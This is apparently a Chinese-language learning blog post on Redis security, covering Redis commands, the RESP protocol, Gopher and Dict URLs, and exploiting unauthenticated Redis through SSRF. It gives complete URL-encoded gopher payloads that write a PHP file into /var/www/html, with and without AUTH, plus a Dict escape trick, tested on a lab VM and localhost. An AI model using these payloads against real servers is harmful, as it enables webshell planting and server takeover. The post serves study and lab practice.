Redis安全学习

一直在听SSRF打Redis,那Redis到底是啥,正式的认真学习一下。

1、Redis是什么

REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。

Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

Redis默认端口为6379

2、Redis的命令

连接命令

​本地连接:redis-cli(本地连接后,若存在密码使用AUTH pass进行验证)

​远程连接:redis-cli -h host -p port [-a passwd](参数a可选项,如果是没有密码的则不需要)

键操作

​设置键值对:set 键名 键值(例如:set atao xxx-->写入一个键名为atao、键值为xxx的内容,执行成功返回OK)

​取出键值对:get 键名(例如:get atao-->取出键名为atao的键的键值,返回键中的键值)

​删除键值对:del 键名(例如:del atao-->删除键名为atao的键,如果键被删除返回(integer)1,否则将输出(integer)0)

​清空所有数据库命令:flushall(删除所有数据库里面的所有数据,是所有数据库,不仅仅是当前数据库,且此命令永远不会出现失败)

​同步数据到磁盘上:save(以RDB文件的方式保存所有数据的快照,命令执行成功返回OK)

配置操作

​Redis配置文件名为redis.conf(Windows下名为redis.windows.conf),可以使用CONFIG命令进行查看。

​设置配置文件:config set 配置项 路径(配置项如:dir或dbfilename,二者分别是指定本地数据库存放目录和指定本地数据库文件名,配置被正确设置时返回OK,否则将返回错误)

3、学习SSRF打Redis的预备知识

Redis安装过程

​遇到的坑:使用redis-cli时,返回bash: redis-cli:未找到命令,解决方法:在redis文件夹下执行命令:sudo cp src/redis-cli /usr/local/bin/,将redis-cli添加至命令中。

​启动Redis:在目录/usr/local/redis下执行命令:sudo ./bin/redis-server ./redis.conf

捕捉Redis流量

​这里使用的是tcpdump抓取流量,(遇到了一个小坑,Kali上显示tcpdump为最新版,但是无命令,更新环境变量:export PATH="/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin"后可以正常使用)抓取流量的命令为sudo tcpdump -i lo -s 0 port 6379 -w redis.pcap

Redis通信协议RESP

Redis客户端使用称为RESP(Redis序列化协议)的协议与Redis服务器进行通信。详细阅读:

RESP在Redis中用作请求-响应协议的方式如下:

- 客户端将命令作为RESP大容量字符串数组发送到Redis服务器。

- 服务器根据命令实现以RESP类型之一进行回复。

在RESP中,某些数据的类型取决于第一个字节:

- 对于简单字符串,答复的第一个字节为"+"

​格式:+字符串

​注意:字符串不能包含CR或者LF(不允许换行)

​eg:"+OK

"

- 对于错误,回复的第一个字节为"-"

​格式:-错误前缀 错误信息

​注意:错误信息不能包含CR或者LF(不允许换行),Errors与Simple Strings相似,不同的是Errors会被当作异常看待

​eg:"-Errors unknow command 'foobar'

"

- 对于整数,答复的第一个字节为":"

​格式::数字

​eg:":10

"

- 对于批量字符串(大字符串类型Bulk Strings,长度限制512M),答复的第一个字节为"$"

​格式:$字符串的长度

字符串

​注意:字符串不能包含CR或者LF(不允许换行)

​eg:"$7

payload

"

- 对于数组,回复的第一个字节为"*"

​格式:*数组元素个数

其他类型(结尾不需要

)

​注意:只有元素个数后面的

是属于该数组的,结尾的

一般是元素的

​eg:"*0

"——空数组

​"*2

$1

A

$3

tao

"——数组包含2个元素,分别为A和tao

​"*-1

"——Null数组

通过上面所述的几种类型构造命令传给redis服务端,则服务端会返回相应的内容。

Gopher协议

​万金油协议!!!

​语法格式:gopher://:/_value(host为IP地址;port为指定端口,没写的话默认为70端口;"_"是一种数据连接格式,任意字符都行;value为TCP数据流)

​如果发起为POST请求,回车换行使用%0D%0A;如果多个参数,参数之间的&也需要进行URL编码。

GET请求

源码

$a = $_GET['a'];

echo "Hello!".$a;

?>

下面是我们要请求的TCP数据流

GET /flag.php?a=atao HTTP/1.1

Host: 192.168.159.131

转成url编码的格式(最后一句结尾也要%0d%0a,所以要加上)

%47%45%54%20%2f%66%6c%61%67%2e%70%68%70%3f%61%3d%61%74%61%6f%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%35%39%2e%31%33%31%0d%0a

curl gopher://192.168.159.131:80/_%47%45%54%20%2f%66%6c%61%67%2e%70%68%70%3f%61%3d%61%74%61%6f%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%35%39%2e%31%33%31%0d%0a

返回

HTTP/1.1 200 OK

Date: Mon, 02 Nov 2020 16:09:33 GMT

Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9

X-Powered-By: PHP/5.4.45

Transfer-Encoding: chunked

Content-Type: text/html

a

Hello!atao

0

POST请求

源码

$a = $_POST['a'];

echo "Hello!".$a;

?>

用原来的方式进行请求

GET /flag.php HTTP/1.1

Host: 192.168.159.131

a=atao

这样会报错,POST请求需要多加两个参数Content-Type和Content-Length

修改后为

POST /flag.php HTTP/1.1

Host: 192.168.159.131

Content-Type: application/x-www-form-urlencoded

Content-Length: 6

a=atao

转成url编码的格式(这次结尾不用加%0d%0a,因为最后是参数)

%50%4f%53%54%20%2f%66%6c%61%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%35%39%2e%31%33%31%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%36%0d%0a%0d%0a%61%3d%61%74%61%6f

curl gopher://192.168.159.131:80/_%50%4f%53%54%20%2f%66%6c%61%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%35%39%2e%31%33%31%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%36%0d%0a%0d%0a%61%3d%61%74%61%6f

返回

HTTP/1.1 200 OK

Date: Mon, 02 Nov 2020 16:19:16 GMT

Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9

X-Powered-By: PHP/5.4.45

Transfer-Encoding: chunked

Content-Type: text/html

a

Hello!atao

0

Dict协议

​在SSRF中,主要是用来查看端口服务是否开启的,但是在Redis中如果无法使用Gopher协议,则可以通过该协议进行替代,不过该协议不能进行多行命令执行,所以当Redis存在验证时无法使用该协议。

​语法格式:dict::/(host为IP地址;port为指定端口;value为请求内容)

使用命令

curl -g "dict://127.0.0.1:6397/set:atao:xxx"

返回

-ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP

+OK

+OK

抓包看到的

CLIENT libcurl 7.68.0

set atao xxx

QUIT

来自郁神的解释

第一行是代表发出的cli的工具和版本

第二行是执行我们请求的命令

第三行是自行退出

从这里我们就不难看出为啥dict不适合Redis认证的题目了,每次只能执行一条命令,执行完后还会退出,没有余力做别的操作

这里返回第一行报错了,应该是没有带参数而报错的

4、利用方式

​Redis未授权访问漏洞,一般是和SSRF一起出现的。通过SSRF的漏洞来访问到Redis。

简单的写入WebShell

set atao '<?php phpinfo();?>' //写入php代码

config set dir /var/www/html //修改数据库备份的目录

config set dbfilename shell.php //修改数据库备份的文件名

save //备份

上面是Redis需要执行的命令,但是我们是和SSRF一起使用的,所以这里配合Gopher协议一起使用

通过抓包,Redis通信如下

RESP协议,下面是一个设置键值对和取键值对的操作

*3

$3

set

$5

atao1

$4

xxx1

+OK

*2

$3

get

$5

atao1

$4

xxx1

将上面的需要写入的内容通过RESP协议的格式进行更改

*3

$3

set

$4

atao

$18

*4

$6

config

$3

set

$3

dir

$13

/var/www/html

*4

$6

config

$3

set

$10

dbfilename

$9

shell.php

*1

$4

save

然后在用url编码的格式进行传输

%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%61%74%61%6f%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%33%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a

curl gopher://192.168.159.142:6379/_%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%61%74%61%6f%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%33%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a

返回

-NOAUTH Authentication required.

-NOAUTH Authentication required.

-NOAUTH Authentication required.

-NOAUTH Authentication required.

原因是Redis存在认证,如果没有认证的话使用上述方式即可,如果存在认证则需要先通过认证才可以进行操作

Redis认证命令为:AUTH password,修改成RESP协议格式如下(这里直接使用了自己Redis的密码,设置密码命令:config set requirepass password)

*2

$4

AUTH

$6

123456

curl gopher://192.168.159.142:6379/_%2a%32%0d%0a%24%34%0d%0a%41%55%54%48%0d%0a%24%36%0d%0a%31%32%33%34%35%36%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%61%74%61%6f%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%33%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a

不知道为啥改成这个后,远程连接就上不了了。呜呜呜,要是有知道的师傅求解释一下,后来就改成本地打本地了

curl gopher://127.0.0.1:6379/_%2a%32%0d%0a%24%34%0d%0a%41%55%54%48%0d%0a%24%36%0d%0a%31%32%33%34%35%36%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%61%74%61%6f%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%33%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a

返回

+OK 认证过

+OK 修改路径成功

+OK 修改文件名成功

+OK 写入键值对成功

+OK 保存成功

cat /var/www/html/shell.php

返回

REDIS0009� redis-ver5.0.7�

�edis-bits�@�ctime�m�_used-mem��

aof-preamble���atao<?php phpinfo();?>�v�a�Pw�a

虽然存在乱码,但是php的代码是正常的

转义绕过?截断

​主要用于dict协议中,当dict协议要写入键值对,如:

dict://127.0.0.1:6379/set:atao:<?php phpinfo();?>

接收到的内容

CLIENT libcurl 7.68.0

set atao <

QUIT

可以看到?以及后面的内容都没了

这里通过对<?等特殊符号进行转义绕过

dict://127.0.0.1:6379/set:atao:x3cx3fphpx20phpinfo0x28x29x3bx3fx3e

好用的工具

参考连接

未完待续

​Redis还有很多利用的方式,比如:主从复制的内容,菜鸡还没学会,先不写了

本文作者:erR0Ratao

本文链接:https://www.cnblogs.com/erR0Ratao/p/13922232.html

c语言中%3ccr%3e有啥作用,Redis安全学习相关推荐

  1. 汇编语言中PTR的含义及作用

    汇编语言中PTR的含义及作用 mov ax,bx ;是把BX寄存器"里"的值赋予AX,由于二者都是word型,所以没有必要加"WORD"    mov ax,w ...

  2. C语言中void具体有什么作用

    1.概述   许多初学者对C/C++语言中的void及void指针类型不甚理解,因此在使用上出现了一些错误.本文将对void关键字的深刻含义进行解说,并 详述void及void指针类型的使用方法与技巧 ...

  3. html语言中%3c%%%3e中语言,[工学]C语言程序设计习题解答.doc

    [工学]C语言程序设计习题解答 C程序设计习题 第一章 C 语言基础知识 1.1 选择题 1. C语言源程序的基本单位是_____. A. 过程 B. 函数 C. 子程序 D. 标识符 2. 下列各组 ...

  4. c语言中eles后面分号的作用,C语言 if else 语句详细讲解

    前面我们看到的代码都是顺序执行的,也就是先执行第一条语句,然后是第二条.第三条--一直到最后一条语句. 但是对于很多情况,顺序结构的代码是远远不够的,比如一个程序限制了只能成年人使用,儿童因为年龄不够 ...

  5. C语言中,头文件的作用,头文件和源文件的关系(转)

    简单的说其实要理解C文件与头文件(即.h)有什么不同之处,首先需要弄明白编译器的工作过程,一般说来编译器会做以下几个过程: 1.预处理阶段  2.词法与语法分析阶段  3.编译阶段,首先编译成纯汇编语 ...

  6. Java语言中J - R开头的英汉对照学习

    为初学者而著! Java基础是初学者的起点,是帮助你从小白入门到精通必学基础课程! B站最新录制Java300集>>>   适合准备入行开发的零基础员学习Java,基于最新JDK13 ...

  7. C语言中#define宏中省略号作用,例子:#define __stringify_1(x...) #x

    学习Linux misc驱动时遇到以下函数定义: 代码路径:include\linux\stringify.h #ifndef __LINUX_STRINGIFY_H #define __LINUX_ ...

  8. C语言中,的三种作用

    取地址. 单目运算符.用来取一个变量的地址. int i, *p; p = &i;//这里的&作用是取变量i的地址. 位操作中的与操作运算符.也就是常说的and操作,双目运算符. 计算 ...

  9. c语言中的static关键字的作用

    在我们日常使用过程中,static通常有两个作用: 1.修饰变量 静态全局变量:全局变量前加static修饰,该变量就成为了静态全局变量.我们知道,全部变量在整个工程都可以被访问(一个文件中定义,其它 ...

最新文章

  1. 简述RHEL7新特性(一)
  2. fastjson 循环json字符串_FastJson拒绝服务漏洞分析
  3. 在Ubuntu中安装HBase
  4. python处理表格数据教程_用Python的pandas框架操作Excel文件中的数据教程
  5. 判断三角形java代码_java基础编程题之异常处理
  6. (\w+)\s*, \s*(\w+)
  7. SAP 产品一脉相承的 UI 增强思路,在 SAP Commerce Cloud(电商云) UI 增强实现中的体现
  8. SSL Kafka经纪人从Kafka Mirror Maker迁移到Brooklin的挑战
  9. ES6新特性_ES6中Map的介绍与API---JavaScript_ECMAScript_ES6-ES11新特性工作笔记032
  10. saltstack event 实践
  11. 【XLL 框架库函数】 TempInt/TempInt12
  12. 洛谷.U19464.山村游行wander(LCT 伪期望)
  13. An App ID with Identifier 'com.XXX.XXX’ is not available. Please enter a different string.报错
  14. java bsh介绍_BeanShell简介
  15. 分布式系统的时间问题
  16. Win10怎么添加开机启动项?Win10添加开机自动运行软件三种方法
  17. node和onbot安装教程(解决傻妞机器人不回复 没弹窗登录二维码问题)
  18. 数据库发展竟然和阿波罗登月有关?还有什么是我们不知道的?
  19. 你还在用二分法求2个鸡蛋100层楼的问题吗?
  20. 饭店点餐系统之数据库表结构

热门文章

  1. 使用IPSW文件将iOS系统从Beta恢复到稳定正式版教程
  2. 用html写绝句古诗词,千古绝句最美励志古诗文精选
  3. 华为交换机ssh思科交换机_思科认证CiSCO 交换机配置与SSH 登陆操作命令详解
  4. 翻译项目管理:memoQ报告
  5. Linux知识点汇总二(NK)
  6. 数据结构课程设计 班级通讯录
  7. pytorch 单卡改多卡详细教程
  8. 什么是互联网公司的产品经理?
  9. 美冬永远也成不了“那样的人” ——《幻夜》
  10. 【计算机视觉40例】案例29:LBPH人脸识别